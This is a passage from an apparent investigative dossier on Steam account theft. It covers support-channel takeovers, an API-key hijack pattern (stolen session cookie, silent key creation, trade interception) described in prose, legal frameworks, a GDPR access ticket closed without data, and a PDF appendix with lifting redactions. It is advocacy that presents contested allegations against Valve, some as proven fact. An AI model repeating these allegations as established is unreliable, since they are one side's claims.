nothing. The reason given was that a third-party site sits outside Steam — the same Steam whose inventory, trade API and account system the theft ran on end to end.\n\nEsportfire, 14 Aug 2022 ↗ archived 2025-11-15 ↗\n\nRefusedNo reversal. Loss stayed with the platform and its users.\nReported\n21 Feb 2023\nQkss — same door, same actor$1,000,000+\n\nReported as taken the same way HFB was, by the same actor, through the same support help request. HFB was made whole eight months earlier. Qkss was not.\n\nOne route. Two answers. Nothing in the published record distinguishes the two cases except the size of the audience.\n\nDexerto, 21 Feb 2023 ↗ archived 2025-08-18 ↗\n\nRefusedNot restored.\nReported\nFeb 2023\nThe insider trade itself — a year of it≈ $320,000 · proceeds over roughly one year, not an inventory valuation\n\nSupport-side access reached account history up to 15 years old — the first CD key, the first email, the first card. That is exactly the evidence the recovery process asks for, which is why the person holding the database always wins the argument against the person holding the account.\n\nBlogger Mzkshow exposed how insider operator \"Steam Help\" and collaborator \"Alexander\" targeted dormant accounts holding over $100k in skins. One stolen M4A4 Howl carrying iBUYPOWER and Titan Katowice 2014 holos sold for $35,000 and ended up with NAVI's Valerii \"b1t\" Vakhovskyi, who had no way of knowing. After Valve intervened, the contractor dismissed its entire Steam support desk.\n\nVKPlay ↗ · Lis-Skins ↗ · Escorenews (RU) ↗ · Dexerto (EN) ↗\n\nNo registerValve has never published how many accounts this touched, or told the people it touched.\nReported\n2 Dec 2024\n\"Matvey\" — after the sackings$13,000\n\nRecovery was granted to someone who supplied account data the owner himself could not match. Two years after the contractor cleared out its Steam support desk, the same route produced the same result.\n\nPreserved post, 2 Dec 2024 ↗ archived 2025-08-05 ↗ · source rows & hashes ↓\n\nRefusedNot restored.\n13 Nov 2025\nHawkeye337 (Mark Spurlock) — and the second admission≈ $300,000–$500,000 · full Katowice 2014 holo collection\n\nThe attacker demanded 1 bitcoin and began scraping the collection onto Negevs to destroy it. Steam Support's written reply is the second admission above: a technician handled the help request, did not follow the process, and gave the account to someone else.\n\nWhat produced the fix was the feed. Hours after the posts tagging Valve went up on X, the account was taken back and every sticker restored. Qkss did not have that audience.\n\nSkin.club ↗ · Dexerto ↗ · Esportfire ↗ archived 2025-12-17 ↗\n\nRestoredReversed within hours of the story trending.\nWhat the ledger says that no single case does.\n\nThe route never closed. The first admission is dated February 2023 and the second November 2025 — thirty-three months apart, with the contractor's mass dismissal, a documented recurrence and a $6.3 million platform breach in between. Counting from the first theft in this ledger, the channel stayed open for three years and five months. Whatever was fixed in 2023, the help request still moved an account to the wrong person in November 2025 — Valve's own sentence.\n\nRestitution tracked attention, not harm. Restored: the biggest inventory in the game, and the collector whose thread trended. Refused: $1,000,000, $6,300,000, $13,000. Valve has never published the rule it applies, because a published rule would have to explain those three.\n\nNobody was told. Not the users whose account histories were read out of the database, not a supervisory authority, not the market that bought the items in good faith and had them clawed back. There is no breach notice, no incident report, no count of affected accounts — and the proceeds left as money, through marketplaces that pay in cash and crypto. A trade reversal cannot follow money out of Steam.\n\nValve holds the support audit trail, the recovery-ticket log and the transaction record for every line above. None of it has been produced. Ask for your own copy →\n\nThe NDA question\nConfidentiality must come with technical accountability.\n\nCompare confidentiality agreements with actual permissions, export controls, reset approvals and access logs. A canned response cannot resolve an allegation that the recovery process itself was abused.\n\nGDPR Articles 28, 32–34\n\nArt. 33 gives a controller 72 hours to notify the supervisory authority of a personal-data breach; Art. 34 requires telling the affected people when the risk to them is high. Valve has confirmed in writing, twice, that its support channel handed accounts to the wrong people — account history, billing records and all. No notification under either article has been published, and no affected user has reported receiving one. Read the regulation ↗ archived 2026-09-20 ↗\n\nInclude support access in your request →\nAdditional reported case · October 2026\nThe reset request, and the later objection.\n\nA ticket image published on 13 October records a request for a CD key, a later reassessment and removal of the mobile authenticator, followed by a message disputing the request. The poster identifies the earlier requester as an attacker. The image gives a sequence to audit; it does not establish who submitted the first request or what checks took place outside the exchange.\n\nRead the ticket sequence and full image →\nSearch the expanded support collection →\n9,051A+B collection rows\n2,961collector Tier A records\n5,727separate leads, excluded from the total\n\nCollected 17 October 2026. The source register distinguishes reported outcomes, quotations, policy pages and repeated sources. Its row counts are not a count of independent victims.\n\nPart C — Legal frameworks · Section 15 · Commercial scale\nFollow the money. Separate the transactions.\nContext & source limits\n\nThe commercial-use question becomes sharper when the money flows are separated. Third-party item transfers, Valve's primary sales and external cash-outs are different transactions.\n\nThe item is Valve's. The inventory is Valve's. The transfer runs on Valve's servers. Only the payment happens somewhere else — which is the step that decides whether anyone is a money transmitter, and the one step Valve does not operate.\n\nThe revenue mechanism\nWhere the money actually moves.\nThree paths / one item economy\n01 / AccountUser inventory\n\nItems held on Steam\n\n02 / TransferP2P trade\n\nUser ↔ bot or user ↔ user\n\n03 / SettlementExternal platform\n\nSite balance or payment off Steam\n\nCirculationThe economic engine extends beyond a transfer fee\n\nSteam supplies the inventory and transfer infrastructure used by outside markets. The investigation's economic argument is that resale liquidity and repeated demand sustain spending on cases, keys and replacement items, with fees on subsequent Community Market sales. A direct P2P transfer carries no Community Market commission; that accounting fact does not settle the wider benefit. Valve retains control over account access and trading restrictions throughout.\n\n01 / Secondary demandLiquidity & resale value\n\nExternal trading and gambling demand\n\n02 / Primary spendingKeys, cases & capsules\n\nPurchases from Valve where offered\n\n03 / RevenuePrimary-sale income\n\nPlus fees on actual Market sales\n\n5% + 10%Steam + CS2 fee on Community Market sales\n\nThe investigation's economic inference: liquid resale markets can encourage spending on new items. The familiar 15% combines Market fee rates, subject to minimums and rounding; it is not a levy on every external trade.\n\nValve's Community Market fee schedule ↗ archived 2026-09-21 ↗. On 25 February 2026 the New York Attorney General filed an action archived 2026-09-01 ↗ alleging that paid loot boxes are connected to external cash resale and gambling harm — the same connection this dossier documents from the technical-infrastructure side. That complaint is an allegation, not a finding; it is cited here because a state law-enforcement agency has put to Valve a question adjacent to the one this dossier asks: where is the enforcement record that matches the public declarations?\n\n01 / EntryCrypto deposit\n\nExternal service and wallet records\n\n02 / ConversionBalance → skins\n\nItems delivered through Steam trades\n\n03 / ExitExternal fiat sale\n\nSeller, buyer and payout provider\n\nKYC?Identify the control at every handoff\n\nThis is the route to investigate, not a native Steam API cash-conversion service. Document identity checks, custody, transaction IDs and payout recipients at each external operator before asserting a no-KYC cash-out.\n\nUnited States / Bank Secrecy Act\nClassify the activity, then the obligation.\n\nFinCEN assesses money transmission by what a business does. Accepting and transmitting convertible virtual currency can trigger money-services obligations, subject to the applicable definitions and exceptions. Valve's Steam Wallet accepts funds and converts them to in-game items; those items are then liquidated through third-party operators for real currency. The item and its transfer run on Valve's infrastructure; the cash-out does not, and whether any part of that cycle meets the money-transmission definitions is a classification question for FinCEN, not a conclusion drawn here.\n\nFinCEN FIN-2019-G001, §§ 1–2, 5.1 ↗ archived 2025-07-11 ↗\n\nEuropean Union / money laundering\nTrace proceeds, knowledge and assistance.\n\nDirective (EU) 2018/1673 covers intentional laundering and participation involving criminal proceeds. The investigative question is what Valve knew about the operators using its trading and OpenID infrastructure after 13 July 2016, when it publicly described that use, and what it did about them. Valve has published no per-operator enforcement record; that record, not this dossier, would answer the question.\n\nEU criminal-law framework ↗\n\nAMLD6 terminology: the criminal-law directive above is distinct from Directive (EU) 2024/1640, also called AMLD6. The latter has a general transposition deadline of 10 July 2027, with specified exceptions. Article 78 ↗ archived 2026-08-30 ↗\n\nPart C — Legal frameworks · Section 16 · Notice, response, responsibility\nThe Digital Services Act: put knowledge on the record\nContext & source limits\n\nTwo elements of an Article 16 notice sit with the submitter rather than with this dossier: the submitter's own details and a statement of good faith that the information is accurate. Everything else the Article requires — the substantiated explanation and the exact electronic location — is set out in Section 3 and in the route register, with saved responses and hashes, so that any party can lodge it. Two further limits on the law itself: losing the hosting exemption does not by itself establish liability under any other law, and the 6% in Article 52(3) is a statutory ceiling, not an assessed penalty against Valve.\n\nUnder the DSA a hosting provider keeps its liability shield only until it has specific knowledge and fails to act. This dossier is that notice. It names the hosts, the dates, the saved responses and the hashes. From publication the question is no longer whether Valve knew — it is what Valve did next.\n\n01\nJuly 2016 / the dossier exhibit\nA ten-day demand.\n\nThe notice reconstructed above is the historical starting point for the investigation's enforcement comparison.\n\n02\n17 February 2024 / general application\nThe DSA time window.\n\nSeparate historical conduct from conduct during the period when the relevant DSA obligations apply.\n\n03\nTen years / original dossier snapshot\nDuration needs a notice trail.\n\nThe elapsed time since July 2016 (see Section 11) is a dossier metric. It is not ten years of established DSA violations. Link each notice to a specific item, applicable law, delivery evidence and response.\n\nArticle 52(3) / statutory ceiling\n6%\nof annual worldwide turnover\n\nMaximum fine for a breach of DSA obligations, using the provider's preceding financial year. This is a legal ceiling, not an assessed penalty against Valve.\n\nArticles 6, 8 & 16 / the legal test\n\nFor relevant hosting services, specific knowledge and failure to act expeditiously can remove the hosting exemption. A sufficiently precise notice can establish knowledge of the particular content. The DSA imposes no general monitoring duty; loss of the exemption does not itself establish liability under another law.\n\nDSA: Articles 6, 8, 16, 52, 53, 93 and recital 17 ↗ archived 2026-09-20 ↗\n\nReview preserved complaints ↗Build the account timeline →Full legal & economic analysis →\nPart C — Legal frameworks · Section 17 · Identity, age, commercial access\nMinors: a Steam login is not an age check\nContext & source limits\n\nNo minor's data appears anywhere in this dossier and none was collected: the authors did not register on, deposit at, or complete a login to any platform named. Anyone building on this section should keep evidence involving a child private and redact identifying details from public exhibits. COPPA is cited here as a children's privacy law with its own scope conditions — audience, actual knowledge, personal data collected — and not as a general gambling-age rule; the 2026 New York complaint is an allegation by a state authority, not a finding.\n\n\"Sign in with Steam\" proves an account exists. It proves nothing about age — and on these sites it is the only gate between a child and a deposit. Read it with Section 3.1: inside the Steam client the warning a browser would show never fires, so the child never sees one.\n\nWhat Steam OpenID provides\nAccount identity\n\nA verified SteamID used to log in or link an account.\n\nWhat the operator must establish\nEligibility to participate\n\nAge, jurisdiction and any required identity checks.\n\nTechnical basis: Steamworks OpenID documentation ↗ archived 2026-09-21 ↗. The documented identity assertion is not a certification that the user may legally gamble.\n\nCOPPA / children under 13\nIdentify the operator and the data.\n\nCOPPA applies to covered child-directed services and services with actual knowledge that they collect personal information from children under 13. It is a children's privacy law, not a universal gambling-age rule. Establish the audience, personal data collected, knowledge and parental-consent process.\n\nFTC: COPPA requirements ↗ archived 2026-09-21 ↗\n\nThe evidence to preserve\nRecord the journey from login to deposit.\n\nPreserve the site's age gate, registration wording, eligibility terms, payment flow and complaint history. Assess each operator separately. Keep any evidence involving a child private and redact identifying details from public exhibits.\n\nA related public enforcement record is the 2026 New York complaint announcement archived 2026-09-01 ↗, which alleges harm to young users from paid loot boxes. It is not a COPPA finding.\n\nPart C — Legal frameworks · Section 18 · GDPR Article 15 request\nThe request. The reply. The missing comparison.\n\nHe asked for four things, one of them the log that would name whoever put an API key on his account. Three days later the ticket was closed with a link to a page that holds none of them — and the sentence used to close it is contradicted by Valve's own lawyers.\n\nWhose account this is · Provenance & Limits\n\nThese screenshots are not PhishDestroy's. They come from an ordinary Steam account holder — one respondent to a short survey run by this project, who filed the request himself and supplied the captures. The account is his, the ticket is his, and the correspondence is between him and Steam Support. This project did not submit the request, holds no account on the platform, and is not a party to this ticket.\n\nOn 16 September 2026 he filed a GDPR/CCPA Article 15 subject access request asking specifically for API-key registration logs, login history with IPs, device authorisation history and trade history. On 17 September agent \"Logen\" referred him to the self-service Account Data page. On 18 September he stated that the requested categories were not on that page and asked for escalation to the Privacy Team or DPO. On 19 September agent \"Kal\" closed the ticket with the same referral. Both screenshots are preserved below (requester e-mail redacted; SHA-256 in steam_tos_assets/screenshot-manifest.json).\n\nHe is a fitting requester for an ordinary reason: his account carries a Steam Web API key he did not create, registered to localhost. When it was created is not known — not to him, and not from anything Valve has made available to him, because the single record that would date it is the API-key registration log, which is exactly the category the closure withheld. The key is not new: it predates his awareness of it by an interval he cannot measure, for the same reason.\n\nOther account holders are filing the same request. Any reply that arrives will be added here on the same terms as these two — ticket number, capture date, SHA-256, requester redacted — whether it supplies the categories or refuses them.\n\nThis project takes no position on why the ticket was closed. No reason was stated in it, and none is inferred here.\n\nThe request. The response. The comparison.FOLLOW THE RECORD\nTHE REQUESTSpecific categoriesAPI-key, login, device and trade records\nTHE RESPONSEAccount Data referenceInspect the support exchange\nTHE TESTWhat was supplied?Compare each requested category\n\nHe asked for four named categories. The Account Data page he was referred to is Valve's own self-service export, and this project cannot enumerate its contents for someone else's account — so no full category-by-category comparison is published here. What is on the record is his statement of 18 September that the categories were not there, and the closure of 19 September that repeated the referral without addressing them.\n\nScreen 1/2 — Request (16 Sep) and first reply, agent \"Logen\" (17 Sep)\nSource: help.steampowered.com, ticket HT-2YBP-F7JP-D4VB · captured 16–17 Sep 2026 · requester e-mail redacted 2026-09-21 · File: gdpr-ticket-1.png · SHA-256 da940c731ab9869d226e9d06ccc8a1b393738766b7b0c445a56662623e025a66 (screenshot-manifest.json).\nScreen 2/2 — Escalation request (18 Sep) and closure, agent \"Kal\" (19 Sep)\nSource: help.steampowered.com, ticket HT-2YBP-F7JP-D4VB · captured 18–19 Sep 2026 · File: gdpr-ticket-2.png · SHA-256 44844ea7b251f7fd7d79f87ee1578a846606a97b9659d3a53b322120c422219b (screenshot-manifest.json).\nClosing response, 19 Sep (verbatim):\n\"The data Steam retains can already be found in your Account Data page. As there's no further information Steam Support can offer, this request will be closed.\"\nNo data supplied · no legal basis for refusal stated · no escalation outcome shown\nThat sentence is false, and Valve's own lawyers prove it. Counsel's letter of 1 October 2025, paragraph 1.9, describes device-level correlation linking one device to dozens of accounts (Appendix A). The same response carried 830 pages of retained records (Appendix B). None of it is on the Account Data page.\nWhy this account asked for the API-key log\n\nHe did not pick those four categories at random. The localhost key on his account is the mark of a script, not of a person typing a real domain into the developer page (Section 5, Section 6). The one record that shows who created it and from where is the API-key registration log. That was the first thing he asked for. That is what the closure withheld.\n\nSource: the account holder, during this project's survey. The ticket screenshots above are hashed; the key page is not published.\n\nAssessment · PhishDestroy\n\nClosing a ticket with the question still open is not an accident here. It is the normal outcome. We hold 16,319 preserved complaint and support records and 354 de-duplicated support exchanges drawn from them. This ticket is one dated, fully captured example of the shape they take.\n\nSupport Ticket — Preserved HT-2YBP-F7JP-D4VB\nRequest type GDPR Article 15 DSAR\nTicket status CLOSED 19 SEP 2026 — NO DATA SUPPLIED\nAgents in the exchange \"Logen\" (17 Sep), \"Kal\" (19 Sep)\nFiled 16 Sep 2026\nData requested Who registered the Web API key linked to this account, and from which IP / device / timestamp\nLegal basis cited GDPR Art. 15 — right of access to personal data\nThe legal frame: Article 12(3) gives the controller one month from receipt (extendable with reasons). That period had not expired at publication, and this dossier does not assert a deadline breach. The objection is to the substance: the closing response links to a self-service page but does not show that the four named data categories were produced, and if the controller declines to act, Article 12(4) requires it to state the reasons and the complaint routes. Neither appears in the closing response.\nWhy this specific data matters\n\nThe Web API key event log is the record that shows whether a third party registered a key using a stolen session cookie — the mechanism described in the inventory-theft complaints preserved in this dossier's archive. Disclosing who registered an API key, from which IP, and at what timestamp, would:\n\nAllow the victim to compare the API creation IP against their own login history\nReveal data-centre IPs linked to known phishing / gambling bot infrastructure\nProduce evidence usable in civil or criminal proceedings against the actor\nShow whether the account holder was notified when the key was created\nWhat the record shows: Valve retains device-level and account-correlation records — its counsel's letter of 1 October 2025 describes them (see Appendix A, Evidence Memorandum — Source 1). In ticket HT-2YBP-F7JP-D4VB the same class of records was requested by the data subject and the ticket was closed with a referral to a self-service page that the data subject reported did not contain them. Whether that refusal is lawful is a question for the supervisory authority; the effect is that the person the data concerns does not get it.\nThe exchange — four messages, three days\n\nTwo Steam Support agents replied under first names shown on the ticket: \"Logen\" on 17 September and \"Kal\" on 19 September. Both referred the requester to the Account Data page. Nothing on the ticket shows whether the request reached Valve's Privacy Team or Data Protection Officer, and the dossier does not assert who the agents are, what their roles are, or how the ticket was routed.\n\n16 SEP\nArt. 15 request filed with four named data categories\n17–18 SEP\nReferral to Account Data; requester asks for DPO escalation\n19 SEP\nTicket closed with the same referral; no data, no stated basis\nWhat Article 15 GDPR explicitly entitles the subject to\nArt.15(1)(a) Processing purposes — why Valve holds the data\nArt.15(1)(b) Categories of data — what Valve holds\nArt.15(1)(c) Recipients or categories of recipients — who received the data (e.g., API key holder)\nArt.15(1)(d) Retention period or criteria for determining it\nArt.15(3) A copy of the personal data undergoing processing — i.e., the API-key log itself\nART.12(3) Response required within one month of receipt; an extension must be communicated within that month. The period had not expired at publication. Art. 12(4): if the controller does not act, it must state why and inform the subject of the complaint routes.\nRegulatory complaint pathway — for any user\n\nAny user who submitted an Article 15 GDPR request to Valve and received no compliant response (or a template refusal without data) may file a complaint with the supervisory authority in their EU/EEA member state. Valve's EU establishment is Valve GmbH in Hamburg, so the lead supervisory authority for cross-border complaints is the Hamburgische Beauftragte für Datenschutz und Informationsfreiheit (HmbBfDI). (Valve's Article 27 representative is also located in Hamburg; a representative's address does not by itself determine the competent authority.) A complaint may also be filed with the authority of the complainant's own member state under Article 77.\n\nHmbBfDI complaint form ↗ GDPR text (Art. 12, 15, 77) ↗ archived 2026-09-20 ↗ EDPB guidelines ↗\n\nTicket reference for any complaint: HT-2YBP-F7JP-D4VB — preserved in this dossier as a documented instance.\n\nOne documented instance\nThe records exist; the data subject did not receive them.\n\nValve's counsel described device-level correlation records in a letter of 1 October 2025. On 19 September 2026 an Article 15 request for the same class of records was closed with a referral to a self-service page the requester reported did not contain them, without a stated legal basis. Ticket HT-2YBP-F7JP-D4VB is one documented instance; whether it reflects a wider practice is a question for the supervisory authority, which can ask Valve for its handling records.\n\nGDPR Articles 12, 15, 77 / Supervisory authority\n\nA complaint under Articles 12 and 15 can be lodged directly with the relevant supervisory authority without cost (Article 77). The authority may impose corrective measures including orders to comply with the access request, and fines under Article 83(5)(b) for infringements of data-subject rights. Preserving the original ticket reference and any Valve response (or its absence) strengthens a complaint.\n\nSee the DSAR template →\nPart C — Legal frameworks · Section 19 · Contract law\nThe Subscriber Agreement against the platform's own architecture\nContext & source limits\n\nThe authors are not lawyers and none of this is legal advice. The SSA is quoted from the revision of 10 September 2026; a different revision may read differently, and clause numbering has changed across revisions — check the clause against the version that governed the conduct in question. The Articles 25 and 32 arguments state what the regulation requires, not that a supervisory authority has found a breach. The figures in Argument 1 carry the scope limits set out in Section 13.\n\nThree of the SSA's central provisions sit awkwardly with how the platform is built: the commercial-use prohibition against a Market price ceiling that pushes high-value sales off-platform; the user-liability clause for API keys against a key endpoint that, before 2023, required no second factor; and the enforcement language against a public record that shows no per-operator enforcement. Whether these tensions affect enforceability is a question for a court; this section sets out the facts a court would have before it.\n\nArgument 1 / Market Cap Architecture\nThe Market ceiling and the commercial-use prohibition\n\nThe Steam Community Market has a listing ceiling of about $1,800. Across five marketplaces in a dated snapshot (23 Sep 2026), 248 CS2 item categories are independently priced above that ceiling by two or more of them; such items cannot be sold at those prices on Valve's own platform. Owners who want those prices use third-party markets, which run on Steam accounts and the Steam API — use that the SSA classes as commercial unless expressly permitted.\n\nItems exceed the Market ceiling → third-party markets fill the gap → those markets use Steam accounts and the Steam API → the SSA prohibits commercial use without permission → no register of permissions has been published. The Community Market's combined fee of about 15% applies only to sales completed inside the Market, not to these external trades.\nArgument 2 / API Key Security Architecture\nThe API-key vulnerability as a platform design question rather than user negligence\n\nBefore 2023, Steam's API key creation endpoint accepted a POST with a stolen sessionid and generated a high-privilege credential without e-mail confirmation, a second factor or device verification. The API hijack complaints collected in this investigation follow one pattern: attacker script, stolen session cookie, silent key creation, trade interception (the request payload is shown in Section 8).\n\nGDPR Article 25 (data protection by design) and Article 32 (security of processing) require technical measures appropriate to the risk. Issuing a credential capable of trade interception without a second factor or owner notification is a design question for the controller. Whether the SSA clause placing liability on the user can be relied on against that background is a question for a court and the supervisory authority.\n\nArgument 3 / Real-Time Visibility\nValve receives the auth hostname on every login\n\nThe auth hostname arrives at Valve's OpenID endpoint in plaintext in openid.return_to and openid.realm (the request shape is shown in Section 3). Extracting it is a standard operation. As of 2026-09-22, in 26 pairs the main domain was on the Link Filter while the host carrying its Steam login was not. Valve has published no per-operator enforcement record, so whether any measure other than the Link Filter has been applied to these hosts cannot be established from public data.\n\nWho bears the cost\nThe pattern in the archived complaints\n\nIn the reviewed complaints, Steam Support's response to an API-key hijack claim follows one form: decline restoration, cite the user's responsibility for the account and its API key, close the ticket. No aggregate figure for accounts affected or value lost is estimated in this dossier; no source for such a figure has been located.\n\nThe question is not whether individual users made mistakes. The question is who is responsible for an architecture that, until 2023, allowed a POST request with a stolen cookie to create a high-privilege trading credential with no notification and no second factor.\nThe SSA as a document vs the SSA as a contract\nA court evaluating this record would not read the SSA in isolation.\n\nIt would read it alongside counsel's October 2025 letter describing device-level correlation, the auth-host registration dates, the batch registration timestamps, the API-key request payload, and the ten years between the July 2016 notices and the platforms still operating in September 2026. That is the record Valve would have to address.\n\nSSA against the record / key points\n\"No commercial use\" — the Market ceiling pushes high-value sales to commercial third-party markets\n\"Users liable for API keys\" — no second factor on the key endpoint before 2023\n\"We enforce against violators\" — no per-operator enforcement record published since July 2016\n\"You agreed to terms\" — in the hijack pattern the acceptance is submitted by a script, not the account holder\nConclusion · What the record establishes and what we ask\nThe findings. The records we ask for.\nContext & source limits\n\nEach finding below is tied to a dated public record in the sections above. The requests are addressed to the authorities that can compel the one thing this investigation cannot reach: Valve's own enforcement, access and processing records.\n\nEach request follows a dated finding. The authorities can seek records that this public-source investigation cannot compel.\n\nWhat the public record establishes\n44 live platforms authenticate through a separate registrable domain — 27 with a published per-route evidence file, 17 from manual collection and listed apart. As of 2026-09-22, 26 pairs had the main domain blocked in the Steam Link Filter while the host carrying its login was not — csgogem.com blocked, api.csgem.com registered since March 2014. Steam receives that hostname in openid.realm and openid.return_to on every login. Section 3\nOn 13 July 2016 Valve publicly named the mechanism and prohibited it, and its counsel's notices of 20 July 2016 set a ten-day deadline. No per-operator enforcement record has been published in the ten years since that deadline. Section 11\nThe Steam Web API key endpoint issued a high-privilege, trade-capable credential from a session cookie alone, with no second factor before 2023. Section 5\nA GDPR Article 15 request (ticket HT-2YBP-F7JP-D4VB) was closed after three days with a link to self-service and no data. Section 18\nWhat we ask each authority\nWashington State Gambling Commission\nReopen the 2016 file. Request an operator-by-operator account of which accounts, bots and return hosts were disabled after the ten-day notices, and which operators later regained access. Section 2\nHmbBfDI (Hamburg; Valve GmbH)\nTest whether the Article 15 response met the controller's duty, and require disclosure of the API-key registration and access records relevant to identifying the actor. Section 18\nDSA digital-services coordinators\nPut the auth-host routing on the record as notice, then assess whether Valve's response meets its obligations once knowledge is documented. Section 16\nAny data subject\nUse the Article 15 template to request the same records for your own account; a retained record can test who initiated a reset or created a key. Appendix G\n\nThe single request behind all four is the same: publish the enforcement, access and processing records that only Valve holds. A homepage warning, a ten-day letter and a self-service page are assertions of control. Whether control was exercised is a question the public record cannot answer and a regulator can.\n\nAppendices — primary exhibits and working materials\nAppendix A — Counsel correspondence\nEvidence Memorandum — material provided by Source 1\n\nEvidence base and source status for the counsel correspondence relied on in Sections 1, 18 and 19.\n\nEvidence Base and Source Status — documents provided by Source 1\nThe user whose permanent ban triggered this audit is not the subject of it. Whether that ban was justified is not examined here, and this dossier neither defends nor disputes it. The account is not the point. What matters is the material: Source 1 — the banned account holder, who received the correspondence below from Valve's counsel as the data subject of their own GDPR request — passed on that correspondence and the accompanying case files, together with the right to examine them publicly. The name is withheld; the documents are described by date, producer metadata and hash.\n\nThat correspondence was sent in response to a GDPR/DSAR request. In the course of it, Valve's counsel put a statement on the record, under signature, describing a capability that Steam Support had previously told users was not technically possible. The paragraph quoted below is that statement.\n\nThe authors' further analysis of the produced log extract is withheld from this dossier pending independent review. It is not relied on by any other part of this investigation.\n\nThe admission on the record: persistent device-level telemetry\n\nIn paragraph 1.9 of the letter attributed to Valve's counsel, Valve's attorneys state: \"Between 2019 and 2023, this account was used primarily from a device that was also used to log into dozens of stolen Steam accounts.\"\n\nThe Fact: Valve's counsel here describes device-level correlation across accounts spanning four years. Steam Support has told theft victims that tracking stolen items or linking accounts to devices was not technically possible. Steam Guard device authorisation is publicly documented, so the existence of per-device records is not itself new; what is new is counsel's written confirmation that those records are retained and correlated across accounts over multi-year periods.\n\nWhy this matters: the correlation that can link one device to dozens of hijacked accounts over four years is the same class of record Support said it could not use for victims. Records of that class would be capable of identifying accounts and devices in a theft-and-resale chain. Which records exist, how long they are retained, and on what basis they are withheld from data subjects are the questions for the supervisory authority.\n\nSource: letter of Valve's counsel dated 1 October 2025, paragraph 1.9, and its 830-page PDF appendix · received by Source 1 in response to a GDPR Art. 15 request · SHA-256 of the appendix recorded in disclosure-audit.json · the letter itself is not reproduced; account names and third-party data are omitted.\n\nStatus: open\nSource materials are available through the evidence archive.\nAppendix B — The produced PDF · redaction check\nThe redaction in the produced PDF is cosmetic: the covered text remains extractable\n\nValve's counsel answered a GDPR access request with an 830-page appendix in which the redactions are painted over the text rather than removing it. 902,270 characters sit under the black bars and come straight out with a text-extraction tool — including the third-party identifiers the bars were there to withhold. Only aggregate counts are published here; no covered content is reproduced, and the appendix itself is not published.\n\n1. What the geometry check found\n\nThe GDPR Art. 15 response dated 1 October 2025 was accompanied by an 830-page PDF appendix (Aspose.PDF for .NET producer metadata, created and modified on the same date). The authors ran a page-level geometry check: for each page, opaque near-black rectangles painted after the text layer were located and the extractable characters lying beneath them were counted.\n\nMeasured on the produced file\n902,270\nCharacters still extractable from under the black bars\nCounted, not estimated. This is a count of covered characters — not of victims, re-identifications or incidents.\n830 / 830\nPages affected — every page\n986\nRectangles over extractable text\n1,329\nOpaque black rectangles in total\nThe black bars are drawn over the text layer; they do not remove it. Text under the bars can be extracted with standard PDF tools. Only aggregate counts are published; no covered content is reproduced here.\nForensic Demonstration: Layer Separation\nASPOSE.PDF FOR .NET VECTOR OVERLAY MOCKUP (APPENDIX P. 412)\n\nReport filed against account: [LOGIN: redacted_user_667]\n\nReason submitted by user: [TEXT: \"User reports duplicate items in inventory and abusive trade conduct...\"]\n\nForeground: <path fill=\"#000\" /> Flaw: Underlying UTF-8 stream intact\nSource: PDF appendix to the counsel letter of 1 October 2025 (830 pages, Aspose.PDF for .NET producer metadata) · measured by the authors, method and per-page counts in disclosure-audit.json · SHA-256 of the appendix recorded in the same file · the appendix itself is not published.\n2. Why this matters for a data-subject response\n\nValve's counsel sent this file to a data subject in answer to a request for that person's own records. The bars on it are cosmetic: the text underneath was never removed, so the third-party identifiers the bars were applied to withhold went to the recipient along with the file. A redaction that lifts with a text-extraction tool withholds nothing, and it also leaves the recipient unable to establish what was disclosed and what was not.\n\nArticle 15(4) is the reason those bars exist at all: the right to obtain a copy must not adversely affect the rights and freedoms of others. That is the obligation this production did not meet. Whether it is characterised as a personal data breach under Art. 4(12) is for the supervisory authority to determine; the disclosure itself is measurable in the file, and reproducible by anyone holding the same bytes — the SHA-256 is published, the appendix is not.\n\nWhat was under the bars was not account numbers. It was the body of user reports filed against the requester, with their authors attached: Steam logins that, because a login is rarely used only on Steam, identify the person behind them — on the authors' count, over 60% of the users named in the document are fully identifiable — together with the raw, unredacted text of what they wrote. That text includes death wishes and abuse directed at the requester's nationality. Some of the people so identified are minors. The production handed a named list of reporters to the person they had reported, which is the precise harm Art. 15(4) is written to prevent.\n\nThe sequence around the file matters as much as its contents. The request was met first with a demand for further proof of identity, on the ground that the requester's alias email address did not contain his name; the account was permanently banned during the delay that followed. The letter that finally delivered the data, more than six weeks past the Art. 12(3) month, threatened the recipient with criminal prosecution and withheld the remainder of his own data until he explained his account activity to counsel. The disclosure also settles two questions Valve has not answered in public: the records produced show account-linking reaching back to 2019, and internal telemetry of a depth Valve has never described.\n\nScope of this section: the observation here is limited to the mechanics of the redaction, measured on the file as produced. The authors' further analysis of the produced logs is withheld pending independent review and is not relied on elsewhere in this dossier.\n\nEvidence: counsel letter of 1 October 2025 and its PDF appendix (SHA-256 recorded in the audit file); page-level PDF measurements and method ↗. The sequence of the request, the page-8 refusal and the characterisation of the exposed records are set out in full in PhishDestroy's account, “My Dog vs. Elite GDPR Lawyers”, 17 August 2026 ↗ archived 2026-08-21 ↗. Account names and third-party data are omitted here; nothing covered by the bars is reproduced.\n\nPage 8 of the covering letter refuses part of the request, and states the reason in writing: Eine genauere Auskunft ist aufgrund des Schutzes der personenbezogenen Daten anderer Nutzer der Steam-Plattform… nicht möglich. — a more detailed answer is not possible, because the personal data of other Steam users must be protected. The 830-page appendix was in the same package. What the bars covered was not account numbers: it was the reports filed against the requester, their authors named, with the raw unredacted messages attached. The account holder had asked Valve, through its counsel, for his own file; what he could extract from it was other people's. Nothing in this appendix turns on who drew the boxes. What it establishes is that the protection Valve invoked as its ground for withholding is the protection this same production failed, in the same envelope, on the same day.\nSupport and Legal Correspondence Exhibits\n\nOpen the full visual catalogue and its source records online.\n\nAppendix D — Source collection\nSelected primary records\n\nSix records from the archive — three GitHub issues in Valve's trackers and three Reddit accounts of disputed support outcomes. Each source stays attached to the claim, the saved text and the question it raises.\n\nGH-01 / GITHUBOpen in saved build\nHardware keys, requested in 2016\n\nValveSoftware / steam-for-linux · #4521 · 2016-06-27\n\nA user asked Valve to support U2F hardware keys as an alternative second factor. The saved issue carries both Feature Request and reviewed labels, with its state recorded as open.\n\nI request U2F usb dongle support in steam as an alternative.\n\nExcerpt from the GitHub issue ↗\nDocumented record\nA dated request for an additional account safeguard, published in Valve's own issue tracker and labelled reviewed.\nAccountability demand\nPublish the product decision, the response date and the protection delivered after review.\nRead saved record Open GitHub ↗\nIn the dossier: Account safeguards →Archive #484 · build 2026-09-17\nGH-02 / GITHUBOpen in saved build\nCrash reports without an effective opt-out\n\nValveSoftware / steam-for-linux · #6459 · 2019-08-18\n\nThe reporter describes a Steam client from 12 August 2019 on Ubuntu 16. They say disabling the crash-upload destination did not persist after a restart, and include the relevant 